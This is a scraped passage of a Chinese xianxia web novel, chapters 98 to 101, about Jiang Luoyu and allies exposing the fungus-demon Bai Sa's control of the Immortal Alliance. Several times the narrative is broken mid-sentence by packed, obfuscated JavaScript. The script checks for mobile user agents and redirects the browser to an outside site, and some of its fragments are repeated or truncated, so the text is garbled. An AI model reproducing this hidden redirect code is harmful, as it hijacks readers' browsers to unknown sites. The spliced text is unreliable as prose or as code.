RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜洛玉顶着白卅的壳子走进酒楼,感慨万分:“盟主,你怎么听不得一点良言?” 一双冰凉的手掐住了脖子。 姜洛玉也不恼,反而笑眯眯的看着金眸幽深的白卅,笑道:“好奇我是谁?” “我问了你就会说吗?”白卅的手力道加重,第一次怀疑了自己的判断。 这人怎么会有渡劫圆满修为?而且就连气息也和他自己几乎一模一样! 就算那姜洛玉得到奇遇逃了回来,又纵使他真神转世、天纵奇才,也不可能短短不到一年的时间,修为直接从金丹到了渡劫! 可若说这人不是姜洛玉……明明大人和他说——所有的变数都在这成了精的秘境身上。 他布局多年小心谨慎,局中人绝无可能自己察觉不对,过来败坏他的名声。 “别看了。”姜洛玉歪着断掉的脑袋,字正腔圆,“看你爹呢?” “爹”两个字砸下来,对面那张和自己一模一样的脸开始发生诡异的变幻。 白卅手腕一松,尘封多年的记忆像是淤泥一样倾泻而出。 是了……他已经很多年没见过这张脸了。 98.穿越第九十八天 白卅刚化形的时候,心性和外表只有人族三岁幼儿大小,就连体质也和凡人差不了多少。 和其他长在秘境里的惑心蔁不同,他长在了深山的枯树堆里,日复一日年复一年,吸取着天地间对他来说“微薄”的灵气长大。 直到化形,他被一个樵夫捡了回去。 樵夫已经五十多岁了,相貌奇丑。就算为人老实还肯吃苦,找遍了十里八村的媒婆,也没有人愿意把女儿嫁给他。 直到一天雨后,樵夫像往常一样进山砍柴,在枯树上捡到乱爬的他。樵夫觉得这是老天赐给他的孩子,于是把他带回去养着。 白卅没有同族的传承记忆,也无法再本能的吸收灵力修炼。他空有一身蛮力,把樵夫的家拆了个稀烂。 樵夫就算心疼生气,也只是把他关进地窖,没过多久又把他抱出来,替他洗去满身的泥灰。 白卅知道,如果不是遇到樵夫,他会死在深山的夜雨里、野兽的嘴里,或许还会有其他死法。 两人相依为命了三年。 那年白卅长成了六岁孩童的模样。 而在仙盟追杀下逃蹿到横江村的邪修,为了补充气血屠了全村,就连周围的村子也没能幸免。 所有人都死了,包括他和樵夫。 可他是很难掉死掉的。 惑心蔁只要在这世上还剩下一粒孢子,就不死不灭。 他苏醒后从死人堆里刨出了他的养父。 樵夫死之前的长相很难看,变成尸体后更加丑陋。 白卅不太熟练地控制菌丝蔓延了周围所有的村子,于是村民们死而复生,僵硬地做着生前还未做完的事。 他也从六岁孩童一点一点长大,最后定格在了青年模样。 至此,他终于成了被天道承认的“妖修”,雷劫过后,一道黑影从天而降。 是大人。 大人问他想不想长生,想不想一人之下万人之上。 白卅点头,于是接过了功法,成了大人手里在修真界最好用的一枚棋子。 “早知你今后坏事做尽,我当初就不该救你!” 狰狞丑陋的脸像是被针线缝合在一起,如同当头一棒,把白卅被骂得瞳孔一颤。 短暂的自我怀疑后,白卅手下力道加重,更是直接催动灵力想要搜魂! “那又如何?!天道要我活,你就是个顺应天命的工具,就是天道让我死……我偏不死!” 没有魂魄,只有神识、精血和……一堆孢子。 白卅意识到这具看似三魂俱全的身体只是分身,立马攻势想要拦截神识—— 东西全都不见了。 只剩下一具带着本能的躯壳,顶着樵夫的模样对着他露出笑脸:“回家吧。” 家。 白卅骂了一声,直接从雅间的窗户飞身赶往传送阵。 仙盟,白雾袅袅,玉宇琼楼,罕见的人声鼎沸。 亭台楼阁白得能晃瞎人眼,更别提外侧还被镀上了一层金光。 而原本的仙盟,所有建筑都维持着低调的暗色,就连在内的修士,也一律不允许穿颜色鲜亮的法衣。 易方蓝扯了扯身上久违的亮红色法衣,十分不适应。 盟主不是最讨厌这些鲜艳的颜色吗?难不成出去一趟,被冒牌货搞得转了性子? 不过就算满腹疑惑,易方蓝依旧不敢多嘴,生怕惹得白卅一个不顺心自己就要小命呜呼。 姜洛玉在仙盟里边走边点头 ,偶尔看见两股战战的修士,还会特意在他们身上多打量几眼。 这才有个“仙”的样子,改造前黑漆漆的搞得他还以为自己进了什么魔修大本营,不仅感受不到一点活人气息,还养着满仙盟乱飞的吃人灵兽。 从易方蓝嘴里套出仙盟已经多年不再饲养肉畜,姜洛玉松了一口气,于是专心致志开始给白卅添堵。 零星的记忆让他发现,白卅其实是个“色盲”。 姜洛玉不知道别的惑心蔁什么样,反正对于白卅,白色和其他鲜艳的颜色在他眼里都是血一样的红色。治疗无果,就连法术也没用。 有时候他的眼里整个世界都是红色的,像是裹了一层血膜。 这让姜洛玉不禁猜测,白卅如此暴躁的性格是不是和这个有关系。 “把望月阁的装饰也……” 分身内的孢子开始剧烈震颤,姜洛玉把话咽了下去,对着易方蓝露出诡异的微笑。 易方蓝突然有种不妙的预感。 未等“盟主”二字出口,对面的男人倏地像冰块一样……融化得无影无踪,只留下地面半干的水痕。 “多谢招待。” “蠢货!” 易方蓝面如死灰,瘫坐在地面不敢看向对面的人。 白卅捂着眼睛,那些血红的颜色令他作呕,可是罪魁祸首早就消失在仙盟之中。 他就连杀人的念头都顾不上了,跌跌撞撞跑到望月阁,用秘术打开了地下室的入口。 里面的烛火昏暗,巨大的法阵掺和着骨屑和暗红色的血。 晃了晃脑袋,白卅稳住心神才走到法阵中央割开手腕,精血顺着纹路流淌。 法阵亮了亮,然后陡然熄灭。 反复八次后,白卅意识到……他联系不上大人了。 —— “琬琬,快看!” 空旷的草地上,二八年华的俏丽少女穿着一身娇嫩的粉色襦裙,快步跑到了冷脸少女身边,向她展示新抓到手的雪斑黑豹幼崽。 不远处还有几道身影,其中两个少年手持长剑相互喂招,他们旁边坐着仿佛没有骨头的青衣男人。 青衣男人对面,还坐着一个手捧棋盘眉头紧蹙的少年。 齐怀仁站在谢子宁旁边,目不转睛的检验他这几天的修炼成果。 雪斑黑豹的幼崽很小,和刚出生不久的猫崽差不多大,黑底白花,像是在毛发上覆盖了雪,蓝汪汪的眼睛滴溜溜转着,对着姜林琬“嗷呜”了一声。 姜林琬对这种萌物没有任何抵抗力,瞬间收起长刀抱着黑豹幼崽一通猛吸。 吸完之后面对自己重返十六岁的少女版“老妈”,姜林琬还是有些不太习惯,就如同她不习惯自己也变成了十六岁的模样。 修仙这种东西自然是越早越好,于是彻底的洗经伐髓后,他们五人全都褪去了满身沉疴,不仅肉身缩水到了少年人的程度,骨龄更是年轻到了三岁左右的状态。 比起洗经伐髓,选择修什么道的时候倒是快得离谱。 他们醒来后刚被身体的惊讶到失语,丛明雪就带着从秘境众妖里精挑细选的各类修士,来作为他们的预备老师。 又在他们面前拜访了各类武器、法宝和功法,让他们从中选择最喜欢的。 姜林飞首当其冲拿了其中一把在漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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所以这一个半月里,丛明雪安排了几个灵君教授他们基础的剑法、刀法和棋阵。林朝盈御兽倒是不用怎么教,她的亲和力本来就很高,在秘境里晃来晃去还会有没开智的灵兽把孩子送到她怀里。 “老幺呢?怎么回来也没说一声。”姜景安这才从棋阵上脱离出来,问林朝盈。 林朝盈翻了个白眼,动作间更显少女的青春活力:“怎么没说,是你太沉浸在棋局里了没听见。” “玉玉在和药辛他们加班加点炼制法宝,说是为了……” “杀白卅。” 浮空殿。 姜洛玉脸上不带一丝笑容,语气冰冷:“那家伙肯定已经狗急跳墙了,不过……我自爆的时候应该伤了那什么‘大人’的分魂。 “我猜白卅现在根本联系不上魔界。” 此时大殿除了姜洛玉,还坐着那伽、浮白、叶望、阿木托四个天地境的守卫,以及离昼红楹几人。 听完姜洛玉所言,三清秘境众人一齐颔首。 白三水左看右看,提问:“你打算怎么杀?惑心蔁只要有一点孢子和菌丝留存于世,就能像野草一样春风吹又生。” 姜洛玉:“……你是白泽还是我是白泽?” 白三水:“我是傻子,你不能要求傻子知道太多。” 一阵缄默。 姜洛玉捂了捂脸,然后淡淡道:“我的设想是,先在修真界来一次大清扫。” 99.穿越第九十九天 如何杀死一只孢子菌丝遍布全世界的蘑菇? 很简单,只要把所有孢子和菌丝都找出来,烧掉。 看似天方夜谭的举措,其实是有可行性的。 “没有什么东西是不死的。”姜洛玉走到身后几百具没启动的分身面前,“就连神……都会有神殇,更何况白卅只是个渡劫修士。” “只要能将他控制的所有傀儡摧毁,寄生在人身上的孢子也一并消除,又或者是想办法毒死所有东西,白卅不想死也得死。” 何在夕打着哈欠:“你有办法找到那些傀儡?” 姜洛玉摸了摸脑袋,直接抽出来了拳头大小的识海记忆。拍碎后,在仙盟的记忆就化成了水镜展现在众人面前。 易方蓝正恭顺地低头跪在他这个假盟主面前,脖颈后侧躺着一颗漆黑的小痣。 姜洛玉暂停了记忆,指了指那颗痣,道:“这就是傀儡的标志。” “这些痣的位置相同,而且大小相等,就是颜色各不相同。我在仙盟待了五天,找借口召见了五十四人,其中脖子上有痣的占据了五分之四的程度,没有痣的大部分都是刚如仙盟的弟子。” “所以,可以确定痣就是傀儡的代表。” 那伽有些不赞同:“知道又如何,又不能挨个扒着人家的衣领看脖子。” 姜洛玉眼睛发亮:“那伽叔,这就要看你的了。你既然能做出检测孢子的法器,相比检测孢子和痣的法宝也不在话下。” 那伽:“……?” 他本能地想反驳一下,然后想到那些痣的位置一样,说明其下经络的走向也大差不差,还真能做出来。 姜洛玉见那伽点头,于是开始向众人布下任务:“杀白卅第一步,我们要准备好足够的法宝检测出感染孢子的人和傀儡,只有暗中先杀傀儡,才能保证他不会拼死反扑滥杀无辜。” “这个就交给那伽叔和秘境其他六十五位器修。” 那伽点头,作为西北天地境的守卫,直接用神识传遍了整个三清秘境,召集所有器修去自己的金龙殿等候吩咐,自己也化成金龙飞出浮空殿。 “第二步,我们需要足够的人。光靠秘境的力量,即使几百个渡劫灵君倾巢而出,换来的也不会是天下太平。仙盟伪善的面皮没掉,外面的门派和势力只会因为我们的动作人人自危,没准还得编造出什么魔修异动的传言。” 红楹若有所思:“所以……境主你是要联合修真界一起铲除白卅?” 姜洛玉点头:“没错。这些日子到处造谣,已经让不少门派的掌门人大彻大悟,他们肯定对仙盟起了猜忌之心,差一个契机就能拧成一股绳对仙盟出手。更何况我提供了在仙盟看见的识海记忆,阿雪已经拿着这些东西去和宗主商量对策了。” “到时候天正宗带头联合其他宗门讨伐仙盟,也算是师出有名。” 白三水:“你就不怕有漏网之鱼?” 姜洛玉摇头:“自然不怕。分身实力永远比不过本体,还无法飞升,白卅不到生死危机之时估计不会金蝉脱壳。倒时候直接将人活捉了禁锢住神魂,就算他事先藏好了转生的身躯,也能顺着神魂找到一同消灭。” 天正峰,寒松居。 尘极道君再次抖着手放下了手里的茶杯,总觉得这一幕似曾相识。 “仙尊,你是说……仙盟、白卅不仅是个蘑菇,他还打算用孢子奴役整个修真界?!” 尘极道君已经不知道自己该说什么好了,干巴巴问:“此话怎讲,可有证据?” 丛明雪先是放出了姜洛玉的记忆。 记忆里面第一人称视角的仙盟,看下来就算是改个名字换成“魔窟”估计都不会有人反驳。 尘极道君不敢信,可时不时划过的仙盟弟子服,还有易方蓝这个时常活跃在修真界的仙盟面孔让他不得不信。 识海记忆不可造假,所以……这些食人的仙鹤,还有被当众虐杀的不“合格”的弟子都是真的。 “这些都是从哪儿得来的?仙尊你不会是……” 丛明雪淡淡道:“不入虎穴焉得虎子。” 尘极道君再度眼前一黑,今天令他震惊的消息太多了,他得缓一缓。 “可为什么我没感受到不对……”尘极道君喃喃道,他就算听见了这些天关于白卅的那些传言,也没出现什么大彻大悟的情绪。 更别提丛明雪说早就替天正宗的人铲除了孢子。 丛明雪:“当时只是先铲除孢子,计划还未开始,我恐出差错,就先用法术维持了宗门内长老弟子对白卅的认知。” 说完抬手在尘极道君面上挥了一下,金光一闪而过。 尘极道君蹙了蹙眉,紧接着瞪大双眼,备受打击地喝了两口灵茶压惊。 恐怖如斯,他之前怎么就没察觉到白卅这人这么诡异?飞升第一人尚且受人诟病,他白卅何德何能让整个修真界一提起他都是止不住的夸赞? “根据惑心蔁的特性,想必如今修真界众人已经对白卅起了疑心。”丛明雪收起神识记忆,“不过以仙盟的赫赫威名,就算发现端倪,大多数人也会压在心底。” “所以,我们想铲除仙盟和白卅,首先要联合其他门派,告诉他们仙盟是恶,必须铲除。” 尘极道君眸光微动,下意识摸了摸手上的储物戒:“仙尊的意思是……召集令?” 召集令,乃是修真界宗门排行榜第一宗门的特权,能够召集在榜所有宗门话事人前来议事,且话事人无法拒绝,就是每一百年只能使用一次。 丛明雪点头,道:“至于何时召集,如何召集,你且等我消息。” 一天后,修真界在榜门派的话事人,全都收到了一封来自于天正宗的请帖。 合欢宗。 迦南月掐着请帖,泄愤一样踹了一脚地面生死不明的男人。 丛明雪消失后,她接到副宗主洛魁求助,说是合欢宗来了个不怕忘情水的修士,扬言要求娶和他有过露水情缘的弟子。 合欢宗弟子所修之道注定他们没办法一直专注在一个修士身上,虽然合欢宗内不是没有渡劫灵君,奈何这人说不见迦南月绝不离开。 迦南月早就在修真界消声觅迹近千年,能认识她的人年轻修士寥寥无几,于是她也顾不上等候姜洛玉两人的消息,回了合欢宗。 不曾想这人要见她只是个幌子,见到她之后直接自爆了。 明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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姜洛玉“嗯”了一声,从储物戒里小心翼翼拿出那张穿着火红襦裙的美人皮来,放到了迦南月和洛魁面前。 “俞僮!” 洛魁察看着那张美人皮,难以置信地瞪大双眼,瘫坐在人皮前眼珠通红,伸出手想碰却又不敢碰。 这是她、是她亲手教养大的徒弟! 俞僮现在分明在洞府闭关,怎么会…… “洛魁,看清楚。” 迦南月噙着笑,将男尸扔到了洛魁面前,“这是谁?” 洛魁本来没注意这男尸,听到迦南月的话这才仔细看了看面生痤疮的男尸。 男尸的长相……似乎格外眼熟。 迦南月:“这是刚从里面抽出来的神魂,和之前那几个男人的神魂如出一辙。” “你那弟子,是我闭关之后收的,我没见过她。” “洛前辈……你又怎么能确定最开始收作徒弟的,就是真的‘俞僮’?” 姜洛玉一边说着,一边拍了拍洛魁的肩膀,以迅雷不及掩耳之速抽出了她后颈里的细线! 100.穿越第一百天 细长的菌丝如同活物一般,被扯出来后扭曲成了一团,看得姜洛玉直皱眉。 太恶心了。 洛魁整个人瘫坐在地面,如同从水里捞出来的一样,神色厌恶又复杂,最后一把火烧掉面前的尸体,对着迦南月恭恭敬敬磕了个响头。 “多谢宗主……少宗主不杀之恩。” 什么时候中招的? 她已经记不清了。只知道有一天世界在她眼里突然变得极其陌生,像是蒙住了一层水雾。 所有人在她眼里的样子都大差不差,她在这种状态下做出了许多匪夷所思的举动。 比如……联系旧情人,试图布下最恶毒的阵法污染合欢宗地脉里的灵气。 等到她跪在冷硬的大殿上,将一切全盘托出后,大殿静得可怕。 迦南月施了个清洁术,清走大殿上的灰烬,扶起洛魁为她输送灵力:“事不怪你。洛魁,我走后你依旧展开结界,绝不能放外人进来。” “是,宗主!”洛魁顺势站起,回答铿锵有力。 姜洛玉在一旁唤出无相球,将其搓成七宝莲台,做了个请的手势:“娘,请吧。” 两人一齐坐上莲台,化作流光直奔天正宗方向而去。 姜洛玉靠在莲子上伸了个懒腰,眨眼间就变成了洛魁的模样,歪头问道:“娘,你是怎么发现洛魁有问题的?” 两天前,他收到了迦南月的求助信。 太极洲与栖仙洲相隔甚远,所以这封信飘了将近三天才送到天正宗。 迦南月在信中写明,怀疑合欢宗的副宗主洛魁有问题。 虽然她既不是傀儡,身上的孢子也都在药粉的作用下散去了,但她还是觉得此人有不对的地方。 奈何她在此次修真大比之前,早就不问世事多年,空有宗主的名头,又探查不出什么来。 所以她想让姜洛玉再找几个靠谱的人过来抓一抓洛魁的破绽。 姜洛玉看完直接拿好新鲜出炉还没来得及测试的检测仪,坐着七宝莲台横渡归云海,半天的时间就到了合欢宗。 当他用铜镜扫过洛魁全身的时候,铜镜里的镜灵长大嘴巴跃跃欲试——这人身上依旧存在和惑心蔁有关的东西。 孢子已经被药粉悄无声息的溶解,那么……又会是什么? 姜洛玉当机立断回了三清秘境,找上那伽等人进一步修改检测仪,让它能确定惑心蔁存在的位置。 不到半天时间,铜镜被改造完毕,照向洛魁时只呈现出了一条…… 脊骨。 那东西藏在脊骨里,又细又长还泛着幻色彩光,毛绒绒的分叉无数,显然是菌丝。 于是才有了刚才那一幕。 菌丝的存在是众人没想到的。根据已知信息,白卅控制的傀儡是被孢子彻底侵占识海的修士,经脉里流淌孢子的人充其量只是他发展的“信徒”。 脊骨里的菌丝又是什么目的?他们不知道,只能根据惑心蔁的特性进行研究。 好在三清秘境里生长着不少惑心蔁,加上比现实要慢上许多的时间流速,姜洛玉不到一天的时间就拿到了去除菌丝的法术。 同样也知道了菌丝的作用。 它会向宿主体内植入恶念,借此蛊惑宿主做出恶行。 迦南月神色复杂,回答道:“她此前说过用不收徒。” “此次出关我见她不知何时收了个徒弟,便对她生出几分怀疑。” “不过我见她这些年将合欢宗管理得仅仅有条,没有生出什么祸事,又觉得是她年纪到了,这才转变了想法。” 姜洛玉给蠕动的菌丝送去几缕迷药,接着道:“这并不是你能确定的依据。” 迦南月:“没错,我也是从蛛丝马迹里发现不对的。合欢宗比之前少上许多的灵气,还有我回来这几天按时上门讨说法的修士。” 来得匆忙,到了又忙着做法宝,姜洛玉到是真没注意修士的问题。 大殿上死去的男尸还是他在迦南月的吩咐下抓到的。 根据洛魁刚才说的,这人是她以前的双修对象,对她情根深种,分开之后不小心走了岔路成为邪修,作恶多端到了人人喊打的地步。 她被菌丝控制的日子里,想要污染合欢宗地脉的灵力,这才找上了那男修。 迦南月放下头发,掏出镜子细细描眉,继续道:“而且在发现洛魁出问题前,我就找到了那邪修用神魂布下的阵法。那些阵法落实的日子,和上门讨说法修士来时的日子吻合。” “宗门里有内鬼,洛魁又有不对劲儿的地方,我自然怀疑到了她的脑袋上。” 描画完两只柳叶眉,她晃了晃手里的请帖:“这就是你们围剿白卅的邀请?” 水蓝色并上银白字迹的请帖上,躺着几个大字——“群雄逐鹿,花落谁家”。 “逐鹿宴”的召开代表着修真界的宗门排行即将洗牌,各大宗门需要派出自家优秀弟子参加“宴会”,在群战里决出前五十的门派来。 每次的逐鹿宴都伴随着资源、气运的重新分配,不过召开的时间间隔最少要三百年,由天道发出旨意。 此时距离上次逐鹿宴,恰好过去了三百零一年。 姜洛玉弯了弯眉眼,和洛魁本人如出一辙,就连声音也轻柔得像羽毛一样:“宗主猜得不错。直接写上真实目的,必然打草惊蛇,润色一番才能钓到大鱼。” 两日后,天正宗大殿,挤挤挨挨坐了满了几十位道君、灵君。 一片寂静里,万兽门门主一拍扶手,红褐色的胡子隐隐有竖起来的架势,大声道:“尘极,人都到齐了你还想等多久?!” 尘极道君先是瞟了一眼丛明雪的位置,而后用神识扫了一眼,摇头:“还差一位。” “差个屁,那妖女就是故意……” “故意的又如何?” 迦南月踏入大殿,领着一心一意扮演洛魁的姜洛玉走进大殿。 姜洛玉扬着细眉,适时打开嘲讽模式:“逐鹿宴上参加的宗门向来有五十,门主莫不是老糊涂了,连四十九都数不明白?” 万兽门门主气得鼻孔里冒出一阵热气,肩上迷你版的碧睛狂狮也跟着开始哈气,试图攻击胆敢挑衅主人威严的人来。 “和气生财,中乐你和一个小辈计较做什么?”问仙岛岛主笑眯眯道,顺手撸了一把碧睛狂狮。 万兽门门主翻了个白眼,将炮火转移到迦南月身上:“此等逐鹿之事,参加的只能是门派里最大的话事人,你不是早退位了吗?” 姜洛玉微微一笑:“一门双宗主,你羡慕不来。” 万兽门门主:“……” 两次被落下面子,但他当着众人的面又不好发作,毕竟是他背后说人坏话在先。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239755|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而且二打一,他没有胜算。 等到所有人落座,丛明雪对上姜洛玉所在,颔首后站起身子,放出数道结界将大殿牢牢锁住。 这一举动宛如热油里跳进一滴冷水,瞬间炸开了锅。 “仙尊这是何意?” “商讨个逐鹿宴的召开地点,为何要布下这么多道结界?” “难不成逐鹿宴是个幌子,你们天正宗是何居心?!” “……” 丛明雪无视越来越激烈的话语,淡淡道:“你们当中,有仙盟盟主的人。” “仙盟盟主”几个字出口,人群里明显有几个人的反应格格不入。 说时迟那时快,大殿内凭空出现十几道身影,全都是渡劫圆满的灵君修为,瞬间擒住那些行为可疑的修士! 众人惊呼,却不敢立刻做出什么动作。 渡劫灵君难求,更别说是渡劫圆满的修士,它天正宗何德何能一下子出来十几个渡劫圆满的修士? 这些人甚至都不是天正宗名声在外的太上长老! 几秒后,人群躁动起来,甚至有人去到结界附近,想联手凿开结界逃离大殿。 “嗡——” 钟声清越,余音绕梁,响彻在殿内刹那,躁动的人群恢复平静。 佛宗的宗主观妙禅师立于高台,敲响了自家的镇宗之宝梵音玲珑钟,口念《静心经》。 等到众人恢复平静,这才双手合十道了声“阿弥陀佛”,收回了还在嗡鸣的金钟。 尘极道君拍了拍手,道:“诸位,稍安勿躁。” 地面上被出现的渡劫圆满灵君压制住的一共有七人,其中不乏排名前几的门派话事人。 “金潜!”归墟宗宗主喊了自家好友一声,却得不到问仙岛岛主的回应。 可对面十几个渡劫圆满的修士在那儿,又不知暗处还有多少,她根本不敢轻举妄动。 不只是归墟宗宗主有这般想法,剩下的人也都站在原地不动作也不发声。 最后,在众人或惊疑不定、或满腹疑窦的眼神下,三清秘境众修士拍上几人后颈。 确认后颈处存在痣后,又催动法术在脊骨处开了道口子,一条条菌丝被扯了出来,半空中扭动的样子宛如长蛇。 为首的垢姬将所有菌丝装进了特制的玉瓶内,缓步走上高台,将东西递给了丛明雪。 那七人在菌丝离体刹那像被人抽去了精气神一般,全都耷拉着脑袋满脸萎靡,晕死过去。 “近些日子关于仙盟盟主白卅的传言,想必大家都有所耳闻。”丛明雪开门见山道。 “而且你们当中一半儿,甚至全部的人,都察觉到了不对。” “你们不敢轻易地把消息透露出去,惟恐得到消息的人会是白卅眼线。” 丛明雪挥手放出神识记忆,里面堪比魔窟的景象令人不忍直视,更别提从记忆里拓印了无数份的卷宗像雪花一样落在了众人手里。 那上面一字一句、桩桩件件恶行令人发指。 接下来,丛明雪和尘极道君一起向在场众修士揭露了白卅和仙盟的真实面目。 “仙盟非仙,做尽邪魔外道之事。白卅此人又联合邪魔图谋整个修真界,一日不除,昼夜难安。” “今日请诸位前来,非是群雄逐鹿,而是——围剿仙盟邪道,以慰亡魂在天之灵。” 101.穿越第一百零一天 大殿内,众人面面相觑。 但证据就拿在手里,神识记忆不管是从哪儿得来的,里面的内容做不了假。 何况他们在自家宗门里确实揪出了不对劲儿的人。那时不知其是被孢子寄生的“傀儡”,现在知道了更是忍不住唏嘘——竟然差点在眼皮子底下被人坑害! 好在那些修为低微的修士转化成傀儡只是因为意志不坚,才让孢子自行催发,而非白卅本人操控。 真说起来,和白卅的狂热追随者差不多。 更何况卷宗上桩桩件件惨案,摆明了仙盟是个不容于世邪道势力! 北洲大水,蛟龙作乱。 它打着救助灾民的口号,实则会悄悄拉走受伤的凡人和修士炼制邪术。 散财育人,与散修盟合作广发丹药。 说是要让每一个囊中羞涩的散修多了几分存活的底气,实则在里面添加了能让人生出心魔的灵药,为的就是断了领到丹药的散修进境的机会。 散修盟盟主看得怒从心头起,一拍大腿:“那个鳖孙子,我就说仙盟没安好心!” 散修本就难以获得资源,当初仙盟找上门的时候,散修盟盟主没多想就答应了。 有不少散修都领了丹药。 当时他受孢子影响没觉得有什么,甚至都没想过领一枚丹药仔细查验。 如今真相大白,散修盟盟主恨不得飞回去扇自己两下,怎么就答应了和仙盟合作! 马后炮不必再提,散修盟盟主只想飞去北洲杀上仙盟让白卅血债血偿! 玄极宗宗主深吸一口气,横眉怒目:“如今是非曲直已然明了。前几日我听闻白卅那些不堪入耳的传言后,这才猛然惊觉,此前世人提起那厮无不满是溢美之词。” “在下敢问,在座各位又有谁没在背后说过仙尊的闲话?惑心蔁的威力着实恐怖,竟然能影响到整个修真界的认知!” 玄极宗宗主此话一出,大殿的气氛瞬间变得微妙起来。 姜洛玉端坐在椅子上,挑了挑眉,开启私聊模式:“娘,‘闲话’怎讲?” 迦南月掩了掩翘起的嘴角,回道:“当初你在琼山秘境发生的事传遍修真界后,这些人总算是抓到了仙尊的‘劣迹’,骂完你欺师灭祖,又开始骂药辛枉为人师。” 姜洛玉:“……” “你们两个的话本子自琼山秘境后就卖得火热,合欢宗与修真书局合作多年,专门提供给书局的笔者一些‘灵感’。” “从三男争一女到师兄弟反目,又或者是师徒禁忌……这些乘风阁几乎不卖的消息,算是合欢宗弟子的日常经历。有的弟子提供完事件,还会特意跑去看那些购买话本的人,其中不乏骂得最欢的那些。” “玉儿,你猜猜看我那徒孙看见了谁?” 姜洛玉险些没控制住表情:“猜不出。” 迦南月:“你们天正宗的副宗主,慈安真君。” 姜洛玉闭了闭眼,他就说当初修真大比的时候,慈安真君看他的眼神怎么怪怪的。 角落,昆仑殿殿主漆岚灵君眼观鼻鼻观心,她倒不是说闲话。 只是……咳咳,她决定不发表任何意见。 万兽门门主冷哼一声,看了眼丛明雪,抱着碧睛狂狮拍了拍胸脯:“我中乐敢做敢当,背后的确说过仙尊的坏话。” “一想到自己被白卅那厮控制着说了他不知道多少年好话,实在是恶心至极!” “此人一日不除,修真界一日落不得安宁,我万兽门愿意追随天正宗一道铲除妖邪,还修真界一个太平!” 万兽门门主的话语铿锵有力,炸开在金碧辉煌的大殿里,惹得其他修士群情激奋。 “此人背后必有魔族作祟,又作恶多端,我等替天行道有何不可?” “仙盟早就和西洲魔窟一般作态,滥杀无辜枉称正道,此时不携手围剿,更待何时?” “……” “可白卅既然能让菌丝寄生在渡劫修士身上,是不是说明……诸位的宗门里也有内鬼存在。” “我们察觉到不对后虽然清除了弟子体内的孢子,可那些傀儡就算祛除了孢子,身上还是带着不详的气息,更别提菌丝寄生的人,防不胜防啊!” 见下面的人终于说到了关键上,尘极道君按照事先准备好的拿出了丛明雪交给他的法宝。 这批法宝在制造出来后又加急改造了一番,这才能够检测出新发现隐秘性极强的菌丝。 数百个铜镜凭空出现在大殿,惹得众人一头雾水。 丛明雪拿起其中一面铜镜,放到了装有菌丝的玉瓶前。 只见铜镜陡然变色,血红的颜色刺进在场所有人的眼睛,血盆大口一瞬就将那玉瓶吞吃入腹! “被白卅孢子感染的人一共分为三类。”丛明雪掏出玉瓶淡淡道。 “第一类是身负孢子却未催发的‘信徒’。” “第二类是被菌丝寄生修为较高的修士,神智混沌,通常藏蔽在各大门派里。他们会因为菌丝的影响做出糊涂事。” “最后一类,是脖子上固定位置有痣的傀儡,他们体内的孢子生根发芽已然入侵进了识海,无药可救,只能斩杀。” 一掌高的玉瓶被打开,倒着晃了晃,里面的菌丝消失不见了。 尘极道君也拿了一面铜镜眼冒精光,适时补充:“有了此物,只要各位将其带回宗门,在怀疑的人眼前晃上一眼,其中镜灵自然能辨别出究竟谁体内有和孢子之类的东西存在。” “不但能发现,更能直接将其净化!” 山雨欲来风满楼。 地下室,白卅对着法阵枯坐了一整晚,才从布满血痕的地面站起。 大人曾经告诉过他,一旦联系不到上界,只有一个结果。 他,成为了弃子。 早该想到的。 在大人对“称霸”下界的进度越来越不上心的时候,他就该明白自己自己的结局。 他会死的。 悄无声息地死在…… 白卅神经质地在地下室来回踱步,猛地停住。 不,他不能就这么死了。 “砰”得一下,墙角的地面被灵力轰出了一个大坑。 坑里的土是近乎漆黑的颜色,掺杂着能冻死人的黑气,中央躺着拳头大小的玉盒。 白卅擦干净手上的污迹,这才小心翼翼打开盒子。 里面是一块儿和人眼差不多大小的圆润黑玉。 上面的气息漆黑又阴冷,捧着玉盒的手凝结了冰霜,眼看着就要失去知觉。 白卅死死盯着里面的黑玉,一把抓起放到嘴边,“咕噜”一声将黑玉吞入腹中。 “我不是弃子。魔将……魔将哈哈哈哈哈!” 白卅一边狂笑一边摔碎了玉盒,贪婪地吸食着里面源源不断的魔气。 这些年养成的魔器最后全都揉碎了喂给刚才的魔核,因为在大人原本的计划里,称霸整个下界要找到合适的载体催生出一名修为在半步魔君的魔将。 之后再由魔将率领下界魔修,以及一少部分上界的低等魔族打下整个下界。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245200|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 载体需要为天地灵物,且必须要有灵智。 